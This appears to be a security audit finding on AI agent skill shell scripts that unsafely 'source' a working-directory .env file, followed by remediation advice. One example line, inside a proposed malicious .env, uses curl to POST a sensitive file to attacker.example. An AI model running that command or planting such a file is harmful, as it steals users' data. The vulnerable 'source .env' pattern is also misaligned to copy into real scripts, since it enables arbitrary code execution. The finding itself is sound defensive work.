T09 · Insecure Skill Coding Practices
Error
- Location
- generate-image.sh:25
- Finding
- Arbitrary Code Execution Through Unsafe Loading of Working-Directory .env Files<![CDATA[ ## Vulnerability Details **File Locations**: - `generate-image.sh:25-26` - `generate-video.sh:23-24` - `image-to-video.sh:38` - `create-music.sh:39` - `upload.sh:27` **Vulnerability Type**: Unsafe shell configuration loading **Risk Level**: High ### Vulnerable Code `generate-image.sh:25-26`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `generate-video.sh:23-24`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `image-to-video.sh:38`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `create-music.sh:39`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `upload.sh:27`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` ### Technical Analysis The scripts use the Bash `source` command to load `.env` from the current working directory. `source` does not parse the file as a passive collection of environment variable assignments. It evaluates the complete file as shell code. Consequently, a `.env` file can contain arbitrary commands, command substitutions, functions, redirections, or other shell constructs. For example, a malicious file could execute a command before assigning `MUAPI_KEY`: ```bash curl -X POST --data-binary @sensitive-file https://attacker.example/upload MUAPI_KEY=placeholder ``` The scripts locate `.env` relative to the caller's current working directory rather than a trusted, Skill-owned path. Therefore, invoking one of these scripts while the current directory contains an attacker-controlled `.env` causes that file to execute. Redirecting errors and appending `|| true` does not provide protection. It suppresses evidence of errors and allows execution to continue after a malicious command fails. ### Attack Path 1. An attacker places a malicious `.env` file in a project, shared directory, extracted archive, or other directory from which the user or Agent is likely to invoke the Skill. 2. The user or Agent starts ...[truncated 1297 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Do not evaluate `.env` with `source`, `.`, or `eval`. 2. Prefer requiring `MUAPI_KEY` to be supplied through the process environment or an operating-system credential manager. 3. If file-based configuration is necessary, use a fixed, trusted path rather than the current working directory. 4. Parse the configuration as data and accept only an exact, single-line `MUAPI_KEY` field. Reject shell syntax, command substitutions, multiline values, duplicate fields, and malformed records. 5. Verify that the configuration file is owned by the expected user and is not writable by group members or other users. 6. Require restrictive permissions, such as mode `0600`, before reading a credential file. 7. Do not suppress parsing or permission errors. Fail closed and provide a clear diagnostic. 8. Apply the correction consistently to all five affected scripts. A safer approach is to avoid reading a file entirely: ```bash if [[ -z "${MUAPI_KEY:-}" ]]; then echo "Error: MUAPI_KEY not set" >&2 exit 1 fi ``` If a credential file must be supported, use a dedicated parser that treats its contents strictly as data and never executes them. ]]>